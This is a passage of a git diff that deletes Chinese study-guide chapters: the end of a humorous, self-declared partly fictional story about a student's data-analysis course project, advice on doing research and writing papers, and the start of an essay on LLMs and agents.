pandas(熊猫?)的东西,找到了这个教程[Joyful-Pandas](https://github.com/datawhalechina/joyful-pandas),开始了一天的学习! - -你了解到 pandas 是一个开源的 Python 数据处理库,提供了高性能、易用、灵活和丰富的数据结构,可以帮助用户轻松地完成数据处理、清洗、分析和建模等任务。你使用了 DataFrame 来装载二维表格对象。 - -用一些关键词来提取数据中隐藏的信息,例如提取“平米”前面的数字放到‘area'列,提取房价到'price’列,提取位置到'locate'里面,当然你也遇到了可怕的 bug,提取所有“室”和“厅”前面的数字,他总是告诉你有 bug,全部输出之后才发现你提取到了“地下室”结果他没法识别到数字所以炸了! - -将数据勉强弄得有序之后,你提取了平均数填充到缺失数据的房屋里面,将一些处理不了的删掉。 - -当然,你也额外了解到 pandas 这只可爱的小熊猫还有非常多强大的功能,例如数据可视化,例如分类数据,甚至可以让房屋按照时序排列,但是你实在不想动了! - -不论怎么说,你勉强有了一份看得过去的数据,你看了看表,已经晚上十一点半了,今天实在是身心俱疲! - -问问队友吧,什么,他们怎么还是在 python 语法?!你就像进了米奇不妙屋~队友在说 - -~~“嘿~你呀瞅什么呢~是我!你爹~”~~ - -此时你像一头挨了锤的老驴,曾经的你有好多奢望,你想要 GPA,想要老师的认同,甚至想要摸一摸水里忽明忽暗的🐠,可是一切都随着你的 hardworking 变成了泡影。 - -可是步步逼近的截止日期不允许你有太多的 emo 时间,说好的七天时间,最后一天就剩下展示了!也就是说实际上只有 6 天的开发时间,也就是说你必须得挑起大梁了 - -> 世界上只有一种真正的英雄主义,那就是看清生活的真相之后,依然热爱生活 - -好的,你真不愧是一个真正的英雄! - -day 3 end!👿 👹 👺 🤡 - -### Day 4 - -老师在验收的时候认为你什么工作也没做,他认为一份数据实在是太单薄了,特别是被你疯狂结构优化后的数据已经没几个特征了,让你去做点看得到的东西,不然就要让你不及格了,你的心里很难过,你想到也许你需要一些更好看的东西。数据可视化你在昨天的 pandas 看到过,可是你并没有详细了解,你觉得 pandas 已经在昨天把你狠狠的暴捶一顿了,并且老师想要更好看的图。 - -于是你考虑 pandas 配合 Matplotlib 画一些简单的图(Matplotlib 的缺点是它的绘图语法比较繁琐,需要编写较多的代码才能得到漂亮的图形。) - -加上 Plotly 绘制一些复杂的图,让你的图有着更漂亮的交互效果,然后加上看起来很牛逼的英语描述 - -你找到了下面的教程: - -[matplotlib 奇遇记文字教程](https://github.com/datawhalechina/fantastic-matplotlib) - -[极好的 Plotly 文字教程:](https://github.com/datawhalechina/wow-plotly) -[视频教程](https://www.bilibili.com/video/BV1Df4y1A7aR) - -🤗 -你绘制了柱状图,散点图,箱线图,甚至花了点钱找了外包去做了一个前端的热力图,虽然你爬的城市和数据不够覆盖全国,但是可以数据不够前端来凑啊!把城市的热量铺洒在全国。 - -这时你认为你的任务已经完成了!于是早早就心满意足的早早睡着了🍻 🥂。最近真的太累了,天天一两点睡,早上惊醒,做梦都是在爬数据分析数据!太可怕了! - -在梦里,你好像看到了美好的假期时光。 😪 - -day 4 end!~🤤 - -### Day 5 - -你睡得很死,因为你已经你做完了所有的东西,第二天只要美美的验收结束,买了机票就可以回家了,可是老师仍然制止了你,跟你说如果你今晚走了就给你挂科,因为你没有用机器学习来分析他! - -可是机票今晚就要起飞了啊!😰你已经要气疯了,想和老师据理力争,但是又害怕这么一个课被打上不及格的分数,这实在是太难受了! - -终归你还是在老师的逼迫下,改签了机票,好吧,多少得加点功能了!呜呜呜~🤢 🤮 - -可是你并不完全会机器学习的算法,可怜的大一本科生的你没有学信息论也没有学最优化理论,很多算法你完全不懂其理论知识!听说西瓜书很好,可是你在图书馆借到了西瓜书之后根本看不懂! - -于是你找到了吃瓜教程,也就是所谓市面上的南瓜书的[文字教程](https://github.com/datawhalechina/pumpkin-book) - -你也找到了西瓜书的代码实践[文字教程](https://github.com/datawhalechina/machine-learning-toy-code) - -你对着他啃了半天,觉得很多东西你都能看懂了,你脑子里已经有了很多思路,你想按使用高级的机器学习的算法! - -但是!时间还是太紧张了!你没有办法从头开始实现了! - -你想尝试[pytorch 文字教程](https://github.com/datawhalechina/thorough-pytorch),但是时间也不够让你去重整数据去训练了。你随便塞在线性层里的数据梯度直接爆炸,你这时候还不知道归一化的重要性,紧张之下把几万几十万的房价往里面塞,结果结果烂成💩了,并且你那薄如蝉翼的基础知识并不够让你去解决这些个 bug,只能疯狂的瞎调参数,可是结果往往不如人意~ - -时间来到了晚上八点,明天就要最后验收了,走投无路的你把目光看向了远在几十千米外已经入职了的大哥,晚上跟他打电话哭诉你最近的遭遇,你实在搞不懂,为什么十二生肖大伙都属虎,就你属驴。 - -大哥嘎嘎猛,连夜打车过来,你在因疫情封校的最后两个小时跑出了学校,和大哥一起租了个酒店,通宵奋战,他采取了更多更为优雅的特征工程和模型调参的方式,让模型优雅的收敛到了一定程度,再用春秋笔法进行汇总,在半夜两点半,终于将内容搞定了😭 - -终于你可以睡个好觉了~ - -day 5 end!😍 🥰 😘 - -### Day 6 - -验收日,老师端坐在底下,宛如一尊大佛,提出了一系列无关紧要的问题,比如问“我们能不能拿这个程序给老年人查资料???” - -等等问题和技术一点关系都没有!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! - -😣 😖 😫 😩 - -极度悲愤之下,当天晚上,你火速提着行李,离开了这伤心之地~~~~~~~~~~~~~~~~~ - -The End~~~~~~~~~~ - -## 事后总结 - -你在那个暑假详细了解和学习一下数据科学竞赛,发现他的含金量在职场领域有时候相当高,并且对提升自身的实力也有相当大的帮助! - -[数据竞赛 Baseline & Topline 分享](https://github.com/datawhalechina/competition-baseline) - -你还发现了之前从来没有注意到的 kaggle 平台以及一些很棒的综合实践项目! - -例如[根据贷款申请人的数据信息预测其是否有违约的可能](https://github.com/datawhalechina/team-learning-data-mining/tree/master/FinancialRiskControl) - -[根据汽车类型等信息预测二手汽车的交易价格](https://github.com/datawhalechina/team-learning-data-mining/tree/master/SecondHandCarPriceForecast) - -例如:[使用公开的 arXiv 论文完成对应的数据分析操作](https://github.com/datawhalechina/team-learning-data-mining/tree/master/AcademicTrends) - -想到如果你早做准备,没有荒废大一的时光,也许你不但能圆满的通过这次课程,也可以开辟更为广阔的新世界了吧~ - -同时,你也初窥了数学+机器学习世界的瑰丽传奇,你想更为深入的对其有一个了解,并且做出点东西,希望对你日后的学习生活有个见证~~ - -少年将去开启新的传奇~~~~~ - -::: danger 再次警告,本章内容有很多瞎编的内容,不要全信 - -比如说一天学完 pandas,一天学完 sql 之类的都是很不现实的!希望大家注意! - -当然你也可以在需要用的时候再研究,也来得及,就是很累 - -不要打击到大家的自信心! -::: - -## 补充内容:下个定义 - -数据分析是独立于开发和算法岗的另一个方向,它主要是通过**应用**机器学习和深度学习的**已有算法**来分析现实问题的一个方向 - -我们常说:数据是客观的,但是解读数据的人是主观的。 - -数据这门科学就像中西医混合的一门医学,既要有西医的理论、分析模型以及实验,又需要有中医的望闻问切这些个人经验。 - -> 这世界缺的真不是算法和技术,而是能用算法、技术解决实际问题的人 - -## 什么是数据科学 - -数据科学是当今计算机和互联网领域最热门的话题之一。直到今天,人们已经从应用程序和系统中收集了相当大量的数据,现在是分析它们的时候了。从数据中产生建议并创建对未来的预测。[在这个网站中](https://www.quora.com/Data-Science/What-is-data-science),您可以找到对于数据科学的更为精确的定义。 - -同时,我向各位推荐一个非常有趣的科普视频想你讲解数据分析师到底在做什么:[怎么会有这么性感的职业吶?](https://www.bilibili.com/video/BV1ZW4y1x7UU) - - - -## Datawhale 的生态体系 - -在与 Datawhale 开源委员会的负责人文睿进行一翻畅谈之后。zzm 受震惊于其理念以及已经构建的较为完善的体系架构,毅然决然的删除了本章和其广泛的体系比起来相形见绌的内容。为了更大伙更好的阅读以及学习体验,我们决定在本章内容引入了[datawhale 人工智能培养方案数据分析体系](https://datawhale.feishu.cn/docs/doccn0AOicI3LJ8RwhY0cuDPSOc#),希望各位站在巨人的肩膀上,争取更进一步的去完善它。 diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.7如何做研究.md b/技术资源汇总(杭电支持版)/4.人工智能/4.7如何做研究.md deleted file mode 100644 index fd10e0a..0000000 --- a/技术资源汇总(杭电支持版)/4.人工智能/4.7如何做研究.md +++ /dev/null @@ -1,152 +0,0 @@ -# 如何做研究 - -## 0. 讲在前面 - -Author:任浩帆 - -Email: yqykrhf@163.com -术语介绍的补充:Spy - -仅供参考,如有不足,不吝赐教。 - -## 术语的介绍 - -**Benchmark:**评测的基准。通常会是一些公开的数据集。 - -**Baseline:** 基准,一般指的是一个现有的工作。 - -**SOTA **(state-of-art): 截止目前,指标最好。 - -举个例子: - -我们选取 XXX-Net 作为我们的 Baseline,在加入我们设计的注意力机制的模块,在 KITTI 这个 Benchmark 上性能达到了 SOTA。 - -**Backbone:** - -这个单词原意指的是人的脊梁骨,后来引申为支柱,核心的意思。 - -在神经网络中,尤其是 CV 领域,一般先对图像进行特征提取(常见的有 vggnet,resnet,谷歌的 inception),这一部分是整个 CV 任务的根基,因为后续的下游任务都是基于提取出来的图像特征去做文章(比如分类,生成等等)。 - -所以将这一部分网络结构称为 backbone 十分形象,仿佛是一个人站起来的支柱。 - -**Solid** - -一般是描述这个工作非常扎实。 - -这个工作很 solid。每一步都 make sense(合理)。没有特意为了刷 benchmark 上的指标,用一些 fancy trick(奇技淫巧)。 - -**Robust** - -鲁棒性,是描述一个系统受到外界的干扰情况下,仍然能保持较好的性能。 - -举个例子: - -我们的系统的图片加入大量的噪声,已经旋转平移缩放以后,仍然能正确的分类,这表明了我们的工作具有一定的鲁棒性。 - -## 坐而论道 - -### 2.1 研究是什么 - -从实际的几个例子讲起: - -1. 某学生,被老师分配了一个课题的名字:《语义分割》。之后开始看相关的论文,了解到有实时语义分割,视频语义分割,跨模态语义分割等等子任务或者交叉任务,然后跟导师开始汇报自己的一些感想,最后在老师的建议之下拟定了具体的课题,开始思考解决方案。 -2. 某学生,被老师分配了一个课题的名字:《存在遮挡情况下的单目人体重建》 。之后这个学生对这个问题提出了有效的解决方案。 -3. 某同学在 waymo(Google 自动驾驶子公司)实习,发现没有用神经网络来直接处理点云的工作。于是决定做一个神经网络能够直接输入点云,经过几番尝试以后,提出了《第一个能直接处理点云的网络》。 -4. 某高校的本科生在 lcw 下的指导下做科研的流程:老师直接给给一个 basic idea,然后让本科做实验,在这个工程中非常有针对性的指导。 - -例 1 是在给定一个大题目的基础下,去阅读论文寻找小题目。 - -例 2 是在给定一个具体细致的题目基础下,直接去想如何解决。 - -例 3 是在实际工作的情况下发现了一个非常有意义的问题,然后思考如何解决。 - -例 4 是直接给定一个 idea,去实现,研究者所需要完成的几乎是工程实践。 - -理想情况下,研究流程应该包含: - -Step 1. 提出问题 - -Step 2. 提出解决方案 - -Step 3. 验证解决方案的有效性。 - -有些问题是一直存在,但没有彻底解决的。这一类的问题通常,就不存在 Step 1。从事这一课题的研究者经常会在 2,3 之间来回反复。 - -### 2.2 如何做研究 - -从上一小节的几个例子当中,其实不同的人做研究所需要完成的工作是完全不一样的。很多时候只需要做 step 3 即可,从功利的角度来讲这是性价比最高的。 - -如果我们是一个合格的博士或者我们致力于如此,那么首先的第一步要找到一个好的问题,这是一个非常重要的开始,**一个好的问题往往意味着研究已经成功了一半。 **什么是一个好的问题?它可能会有以下几个特点: - -1. 理论上能实现某种意义上的统一,从而使得问题的描述变得非常优雅。比如 [DepthAwareCNN](https://arxiv.org/abs/1803.06791) -2. 对于之后的工作非常具有启发的作用,甚至达到某种意义的纠偏作用。比如 [OccuSeg](https://arxiv.org/abs/2003.06537) -3. 本身足够 solid,可以作为 meta algorithm。比如 Mask-RCNN -4. 是一个大家没有引起足够重视,却非常棘手且非常迫切的问题。比如相机快速运动下的重建,[MBA-VO](https://openaccess.thecvf.com/content/ICCV2021/papers/Liu_MBA-VO_Motion_Blur_Aware_Visual_Odometry_ICCV_2021_paper.pdf) - -#### 2.2.1 如何去找一个好的问题 - -如何确保自己选的问题是一个好的问题?这需要和指导老师及时的反馈。如果指导老师不给力,那么一些方法仅供参考。 - -1. 自己和工业界的一些人去交流与沟通,看看实际落地的痛点是什么?面对这些痛点,已有的研究方法能否解决,是否有一些现有的 benchmark 或者容易制作的 benchmark 来做为评价标准。 -2. 做加法。举个例子:图片可以做语义分割。那么图片 + 深度图如何更好的做语义分割。图片 + 文字描述的做语义分割。现在的语义分割的标注都是 0,1,2,3 这些数字,然后每一个数字对应一个实际的类别,这个对应表是认为规定的。如果我把 0,1 的对应关系换掉。重新训练以后就,网络的性能是否会影响? -3. 做减法。对于点云的语义分割的标注,通过是非常费时费力的。那么对于点云来说,少量的标注是否是可行的?比如只标注百分之 10 的点。 - -以上是一些技巧,把输入调整一下,约束去掉一些,就会有很多新的问题。这个过程通常被叫做**“调研”** - -这个过程在是一个相对比较痛苦的过程,因为调研的过程中你会发现很多问题,想到很多所谓创新的解决方法,但是实际上你会发现你的解决方法已经有很多人做过了。这一阶段调整心态很重要,切忌急于求成。 - -#### 2.2.2 如果提出解决方法 - -这个阶段需要百折不挠,小步快跑了。一下是有一些可能有帮助的技巧: - -1. 多读本领域的论文。(说起来非常玄妙,会在如何读论文部分详细解释) -2. 读一些基础,跨领域的论文。把其他领域的方法搬过来直接用。直接用通常情况下会存在一些问题,那么需要针对性的做一些改进。 -3. 从历史出发。将你面对的问题抽象成数学问题,这个数学问题可能过去很多人都遇到过,去看一看他们是如何解决的,从中获取一些灵感。 - -#### 2.2.3 如果做实验 - -做实验的目的是为了快速的验证想法的正确性。以下两个东西最好要有 - -1. 版本控制 -2. 日志系统 - -剩下就是一些工程习惯的问题,比如出现错误用 `std::cerr` 而不是 `std::cout`。这是一个需要实践积累的部分,与做研究有些脱节,之后有时间会在其他小节做一些补充。 - -## 快速出成果的捷径与方法 - -如何快速的出成果,不管别人如何帮你,前提是你自己要足够的强。不能存在 **“靠别人” **的想法。 - -对于一个博士生来讲,出成果保毕业,那么可能要对学术的进展要敏感,比如 Nerf 八月份刚出来的时候,如果你非常敏锐的意识到这个工作的基础性和重要性。那么你稍微思考一两个月,总是能有一些创新的 ieda 产生的。所以这个**timing 和 senstive**就非常重要,当然导师是不是审稿人可能更重要。 - -对于一个本科生来讲,当然是跟着指导老师的脚步去做。但是如果指导老师只是把你当成一个工具人,一直打杂货的话。你想发论文,一种所谓的捷径是 A+B。就是把一个方法直接拿过来用在另一个地方,大概率这样会有一些问题,那么你就可以针对性的改进,如何针对性的改进?不好的方式是 A+B 套娃,好一些的方式是分析这个不好的原因在哪里,现有的方法多大程度可以帮助解决这个问题,或者现有的方法解决不了这个问题,但是其中的一个模块是否是可以参考的。 - -### 3.2 学习别人是如何改进网络的(Beta) - -自 UNet 提出后就有许多的魔改版本,如 UNet++, U2Net, 而这些 UNet 的性能也十分优异。 - -可以参考 UNet 的发展历程,去学习如何在前人的工作上加以改进和提升。 - -注:通过历史的演变来学习是非常有必要的,但是你需要注意一点的是,深度学习很多时候会出现一些情况: - -1. 你认为你提出的改进方法是有效的,但是实际是不 OK 的 -2. 你认为你提出的方法可能有效,实际上也确实有效。然而你不能以令人信服的方式说明这为什么有效。 - -举个例子 ResNet 为什么有效。“因为网络越深,可以拟合的函数空间就会复杂,但是越深网络效果反而变差。那么从一个角度来思考:网络至少某一层 i 开始到最后一层 k,如果学习到的函数是 f(x)=x 的恒等映射,那么网络变深以后至少输出是和 i-1 层的是一模一样的,从而网络变深可能不一定会变好,但是至少不会变差才对。”看起来很有道理,然后 CVPR2021 分享会,ResNet 的作者之一,xiangyu zhang 说“当时也完全不能使人很信服的解释为什么 ResNet 就一定效果好,感觉更像是基于一些灵感,得到了一个很棒的东西,更像是一个工程化的问题,而不是一个研究。但我们可以先告诉别人这个是非常有效的,至于为什么有效,可能需要其他人来解决。” - -再举一个例子 BN(Batch normalization) 为什么有效,你去看 BN 的原论文和之后关于 BN 为什么有效的研究,会发现原论文认为有效的原因是不太能让人信服的。但这不妨碍 BN 有效,而且非常快的推广起来。 - -其实这件事可以类比于中医,做研究就好比要提出一套理论,但是我不知怎得忽然发现有一个方子经过测试非常有效,但是我确实不能给出一个很好的理论解释说明这个房子为什么有效。但是我尽快把这个方子告诉大家,这同样是非常有意义的。 - -举这个两个例子是为了说明,类似 ResNet 这种拍一拍脑袋就想出的 idea,一天可能能想出十几个,但是最后做出来,并且真正 work 的非常少。这里面就存在一个大浪淘沙的过程,可能我们看到的经典的网络,比如 Unet 就是拍拍脑袋,迅速做实验出来的。我认为这种思考方式仅仅值得参考,并不值得效仿。现在早已经不是 5 年前那样,却设计各种 fancy 的网络结构去发论文的年代了。 - -那么我们应该如何对待神经网络?(之后再写) - -但我想 Charles qi 的思考方式是值得借鉴的。论文的顺序是 - -PointNet------>PointNet++------>PointFrustum-------->VoteNet - -有对应的中文 Talk。但我建议先去读论文,之后再看 talk。 - -我们不应该无脑的认为我们给什么数据,网络就会得到好的结果。说什么高层,底层特征云云。 - -思考问题可以先从类似哲学的 high level 层面开始,但是具体操作一定要 make sense,不然只是一个空想家。 diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.8科研论文写作.md b/技术资源汇总(杭电支持版)/4.人工智能/4.8科研论文写作.md deleted file mode 100644 index 23c424f..0000000 --- a/技术资源汇总(杭电支持版)/4.人工智能/4.8科研论文写作.md +++ /dev/null @@ -1,65 +0,0 @@ -# 科研论文写作 - -> author:晓宇 - -序言:写作,一门需要反馈才能学习的科目,无论一个人有多么厉害,第一篇论文的写作,总是那么不尽人意。 - -其原因在于,首先学术性写作是一门需要刻意训练的科目,其次学术写作训练的反馈成本是巨大的,很难落实到每一个人身上,这并不是一门看看网课就能学会的技能。 - -所以开设本栏目分享一些感悟与资料。 - -论文写作方法论简述: - -我分为两大块:先想清楚你干了什么,在训练好你表达的规范性 - -大白话 -> 提取后的逻辑链条 -> 科研写作 -> 英文翻译 - -**干了什么:** - -1. 如果没有想清楚要做的是什么,要写什么,可以先用大白话,在草稿上写,有利于理清思路,抽丝剥茧 - - 失败案例:一上来直接英文[ ] ' '写作,一会 we want,一会 80 个词语的长难句,思路英语都不清晰 - -2. 先列出 Outline 每一个科研 section 你打算做什么,尝试去回答问题 - - ::: warning 📌 - Introduction(Longer version of theAbstract,i.e.of the entire paper): - - X: What are we trying to do and why is it relevant? - - Y: Why is this hard? - - Z: How do we solve it (i.e. ourcontribution!) - - 1: How do we verify that we solved it: - - 1a) Experimental results - - 1b) Theory Extra space? Future work! - - Extra points for having Figure 1 - - on the first page - - ::: - -之所以要用大白话是因为基础的不足,如果有一定功底的人,可能先天写出来文字自带规范性,所以仅供大家参考) - -**表达规范性:** - -此处的方法论为一句话,则是从模仿到超越的浑然天成。 - -1. 但凡是写作,原理无非是学习表达各种逻辑的常用性词语,要表达转折,对比,强调要是用什么词,使用什么句式,在学习的过程中,先是看优秀论文一句话表达的逻辑,然后抽丝剥茧,去掉他的主要内容填入自己的即可。 - -2. 迭代式写作,尝试多次更改写作的内容,优秀的作品都是改出来的,在把一部分的意思表达清晰知识 - -上述内容是写作的怎么去写,而下面则是内容层面,什么样的文章算是一篇好的文章 - -::: warning 📌 -C 会文章与 A 会文章的区别认知: - - (1).C 是对于相关工作一个是罗列,A 是整理相关工作的脉络和方法类别,以及方法缺陷。 - - (2).对于设计的方法,C 会只是说明我们比另外几个模型好,并不能从原理层面深入分析为什么比别人好,而 A 会则是能够说明每一部设计对模型的增量效果,以及为什么要做这一步。 - -::: diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.9从 AI 到 智能系统 —— 从 LLMs 到 Agents.md b/技术资源汇总(杭电支持版)/4.人工智能/4.9从 AI 到 智能系统 —— 从 LLMs 到 Agents.md deleted file mode 100644 index 44d3325..0000000 --- a/技术资源汇总(杭电支持版)/4.人工智能/4.9从 AI 到 智能系统 —— 从 LLMs 到 Agents.md +++ /dev/null @@ -1,984 +0,0 @@ -# 从 AI 到 智能系统 —— 从 LLMs 到 Agents - -author:廖总 - -*Last revised 2023/04/18* - -先声夺人:AI 时代最大的陷阱,就是盲目考察 AI 能为我们做什么,而不去考虑我们能为 AI 提供什么 - -## *免责声明* - -本文纯文本量达 16k(我也不知道字数统计的 28k 是怎么来的),在这 游离散乱的主线 和 支离破碎的文字 中挣扎,可能浪费您生命中宝贵的十数分钟。 - -但如果您坚持尝试阅读,可能看到如下内容(假设没在其中绕晕的话): - -- 对大语言模型本质 以及 AI 时代人们生产创作本位 的讨论 -- 对大语言模型 上下文学习(In-Context Learning,ICL)和 思维链(Chain of Thought,COT)能力的几种通识性认知 -- 围绕 Prompt Decomposition 对使用大语言模型构建复杂应用的基础讨论 -- 对当前热门大模型 Agent 化框架(如 Generative Agents(即斯坦福 25 人小镇)、AutoGPT)其本质的讨论 -- 对使用大语言模型构建智能系统(基于全局工作空间意识理论)的初步讨论 -- 对使用大语言模型构建符合当今生产需求的智能系统的方法论讨论 - -(顺便,如果这篇的阅读体验有点一路偏题,请不要见怪,因为我也被这两周的新工作一路被带着跑) - -(而这也导致了很多从最开始就埋好想说的东西最后懒得挖了,一路开摆) - -(所以唯一有参考价值的思路主干就是下面这条总结) - -该文章主要分为几个部分: - -- 引言:讨论当前基于 AI 构建工程的背景痛点,连带着讨论 AI 智能如何区别于人类,人类仍应在生产中发挥的智能在何处。 -- LLMs 能力考察:讨论了大语言模型涌现的一系列基本能力,并讨论基于这些基本能力和工程化,大模型能做到哪一步 -- Decomp 方法论:将大语言模型微分化使用的方法论,以此展开对大语言模型的新认知 -- AI 作为智能系统:结合 Generative Agents、AutoGPT 两项工作讨论大语言模型本身的局限性,围绕人类认知模型的启发,讨论通过构建复杂系统使得 LLMs Agent 化的可能性 -- 予智能以信息:讨论基于 LLMs 构建能够充分帮助我们提升生产力的 AI 剩余的一切痛点。借以回到主题 —— 在 AI 时代,我们要打造什么样的生产和信息管理新范式(有一说,还是空口无凭) - -总体而言,本文包括对 LLM 领域近一个月的最新几项工作(TaskMatrix、HuggingGPT、Generative Agents、AutoGPT)的讨论,并基于此考察一个真正可用的 AI 会以什么样的形态出现在我们面前。 - -而本文的核心观点如下: - -- 大语言模型的实质是一个拥有智能计算能力的语言计算器 -- 我们不该将其当作独立的智能体看待,但能在其基础上通过构建系统创建智能 Agent -- 为此,我们需要通过构建信息工程,让 AI 能够真正感知和改造世界,从而改变我们的生产进程 - -仅作展望。 - -## 引言 - -在开启正式讨论之前,我们希望从两个角度分别对 AI 进行讨论,从而夹逼出我们 从 AI 到 智能系统 的主题 - -- 形而上:我们尝试讨论 AI 智能的形态,进而发现 人类智能 的亮点 -- 形而下:我们尝试给出 AI 使用的样例,进而发掘 人工智能 的痛点 - -结合二者,我们待解释一种通过人类智能引领人工智能跨越痛点的可能性 - -> 形而上者谓之道,形而下者谓之器;
化而裁之谓之变,推而行之谓之通,
举而措之天下之民,谓之事业。 - -以前只知前边两句,现在才知精髓全在后者 - -### 形而下者器:LLMs + DB 的使用样例 - -(为了不让话题一开场就显得那么无聊,我们先来谈点有意思的例子) - -前些时日,简单尝试构建了一个原型应用,通过 LLM 的文本信息整合能力和推理能力,实现文本到情感表现的映射,并依此实现了游戏对话生成流水线中动作配置的自动生成。 - -该应用的工程步骤分为以下几步: - -- 基于现有任务演出动作库和动作采用样例,构建一个使用情感表达向量化索引动作的数据库 -- 向 LLMs 构建请求,通过向对话文本中添加情感动作标签丰富对话表现 -- 召回填充完毕后的对话样本,正则化收集对话情感标签,并对数据库进行索引 -- 召回数据库索引,逐句完成情感动作选择,并反解析至配档文件 - -这还是一个极简的工程原型,甚至 LLMs 在其中智能能力的发挥程度依旧存疑,但我主要还是希望其起到一个提醒作用:这彰显了所谓“信息”在实际开发、以及在后续将 AI 引入开发过程中的重要性。 - -我们要如何将原本储存于大脑的跨模态开发数据知识外化到一个可读的模态上并有效收集起来,同时要如何尽一切可能让 AI 能帮助我们挖掘数据中蕴含的价值,这是最核心的出发点。 - -而上面这一步,才是应对 LLM 的到来,在未来可期层面上最值得展开讨论的内容。 - -(后面会给出更多关联的讨论,这里就先不赘叙了) - -### 形而上者道:对 LLM 既有智能能力及其局限性的讨论 - -这一节中,想讨论一下人工智能与人类智能的碰撞() - -从 Plugins 到 AI 解决问题的能力 - -此相关的讨论是在 ChatGPT Plugins 出现后展开的: - -ChatGPT Plugins 在两篇论文两个角度的基础上,对 LLMs 的能力的能力进行延拓 - -- ToolFormer:让 AI 具有使用工具的能力 -- Decomp:让 AI 能逐层分解并完成任务 - -此相关的能力,其实在微软最新的一篇论文 TaskMatrix.AI 中被进一步阐述,其通过工程构建了一个 AI 能 自由取用 API 解决问题 的环境。 - -上述能力,在实质上进一步将 AI 解决问题的能力与人类进行了对齐:人们通过问题的拆解,将任务转化为自己能处理的多个步骤;并通过工具借自己所不能及之力,将问题最终解决。此二者无疑是人类解决问题最核心的步骤,即确定“做什么”和“怎么做” - -而这也基本奠定了后续面向 AI 的工作流,其基本展开形态: - -- 为 AI 提供接口,为 AI 拓展能力 -- 建模自身问题,促进有效生成 - -#### 从人工智能到人类智能 - -在上面的论断中,我们看似已经能将绝大多数智能能力出让予 AI 了,但我还想从另一角度对 AI 与人类的能力进行展开讨论: - -即讨论一下人工智能的模型基础与其历程 - -- 人工智能:AI 的元智能能力 -- “人工”智能:辅佐 AI 实现的智能 -- 人类智能:于人类独一无二的东西 - -#### AI 智能的形态 - -大语言模型的原始目的是制造一个“压缩器”,设计者们希望他能有效地学习世界上所有信息,并对其进行通用的压缩。 - -在压缩的过程中,我们希望 AI 丢掉信息表征,并掌握知识背后的智能能力与推理能力,从而使得该“压缩器”能在所有的域上通用。 - -该说法是略显抽象的,但我们可以给出一个简单的现实例子对其进行描摹: - -> “人总是要死的,苏格拉底也是人,所以苏格拉底是要死的”
这是一个经典苏格拉底式的三段论,其中蕴含着人类对于演绎推理能力的智慧。
假设上面的样本是 LLM 既有学习的,而这时来了一个新的样本:
“人不吃饭会被饿死,我是人,所以我也是要恰饭的嘛”
那么对于一个理想的智能压缩器而言,其可能发现新句与旧句之间的关联,并有效学习到了句子的表征形式及其背后的逻辑 - -$$ -S1=<(人,苏格拉底,死),三段式推理> -$$ - -$$ -S2=<(人,我,恰饭),三段式推理> -$$ - -> 而随后,压缩器会倾向于储存三段式推理这一智能结构,并在一定程度上丢弃后来的(人,我,恰饭)这一实体关系组,仅简单建模其间联系,并在生成时按需调整预测权重。 - -换言之,对 LLMs 而言,其对“智能”的敏感性要远高于“信息” - -而这也带来了大语言模型训练的一些要点,通常对 LLM 而言,越是底层的训练越容易混入并给予 LLM“信息表征”,而越是高层的训练,越倾向于让 LLM 掌握新的“智能模式” - -基于这一点,我们能对 LLM 的智能能力出发点进行简要推断: - -LLM 的实质上还是通过“语言结构”对“外显人类智能”进行掌握,也正是相应的,引入了一系列问题 - -- AI 偏好学习智能,却不能很好的学习“信息型知识” -- AI 只能掌握基于语言模态等可外显表征模态下的智能 - -进一步的,受限于自回归解码器结构的限制,AI 只能线性地回归文本序列,而无法构建自反馈。 - -而也正是这些固有缺陷,为人类的自我定位和进一步利用 AI 找到了立足点。 - -#### 赋能 AI 实现智能 - -作为上面一点的衍生,我们可以从大体两个角度去辅助 AI 智能的实现: - -- 补全 AI 的智能能力 - - - 通过 Prompt Engineering 激发 AI 既有的能力 - - 通过启发方法构建 AI 的智能链条 - - - 内隐启发:通过复杂 Prompt 指导 AI 理解并完成任务 - ICL / COT Prompt - - 外显启发:通过程序规范化 LLMs 完成任务所需流程 - ChatGPT Plugins / LangChain - - 结构启发:通过构建工程结构支持 AI 自迭代分解并解决问题 - Decomp / TaskMatrix.AI / Hugging GPT -- 附加 AI 的信息能力 - - - 通过知识工程和迭代调用等方法,为 AI 构造“记忆宫殿” - -### 反思人类智能 - -作为人类而言,我们所拥有的智能能力显然也不是能被 AI 所覆盖的 - -首先,我们是“能动”与“体验”功能都脱离于我们狭义的智能而存在,而正是这些要素赋予了我们“主体性” - -其次,也正是这些成分脱离于语言和表达而存在,使他们成为无法被显式学习的要素 - -- AI 不具备深层动机,它有的只是被语言所描述的目标 -- AI 不具备体验能力,因此它的创作是无反馈无迭代的 - -但是,相应的,不涉及上述内容的工作流程,在可预见的将来,会由 AI 全面参与。 - -而我们为了不被时代淘汰,要更加积极主动地将 AI 引进来。 - -### 化而裁之,推而行之:回到我们的主题 - -回顾一下上文,我们从应用和概念两个角度简要讨论了 AI 当前的使用情况,以及这些应用依托于什么 - -- 应用 - - - 通过 AI 实现了高度智能化的工作 - - 通过整理开发信息使得链路通顺 -- 概念 - - - 我们能通过外力引导赋予 AI 更强的解决问题的能力 - - AI 的核心能力是通用智能能力,对工作情境已高度可用 - - 人类能力的核心是能动和体验,而非浅显的智能 -- 展望 - - - 如何更好的赋能 AI - - 如何更好的驾驭 AI - -在唠嗑了这么多之后,我们终于能引入今天的主题了。 - -简而言之,我希望能追随着 AI 的发展,讨论是否能构建这样一个通用的 AI 框架,并将其引入工作生产的方方面面。希望能讨论及如何对生产信息进行有效的管理,也包括如何让我们更好调用 AI,如何让 AI 满足我们的生产需要。 - -## LLMs:生成原理及能力考察 - -相信无论是否专业,各位对 LLMs 的生成原理都有着一定的认知 - -简单来说,这就是一个单字接龙游戏,通过自回归地预测“下一个字”。在这个过程的训练中,LLMs 学习到了知识结构,乃至一系列更复杂的底层关联,成为了一种人类无法理解的智能体。 - -### In-Context Learning / Chain of Thought - -经过人们对模型背后能力的不懈考察,发现了一系列亮点,其中最瞩目的还是两点: - -ICL(In-Context Learning,上下文学习)和 COT(Chain of Thought,思维链) - -可以说,绝大部分对于使用 LLMs 的启发,都源自这两个特性,简单说明此二者的表现 - -- ICL:上下文学习使得模型能从上下文中提供的样例/信息中学习,有效影响输出 -- COT:当模型在输出过程中写出思维过程时,能大幅提升输出效果 - 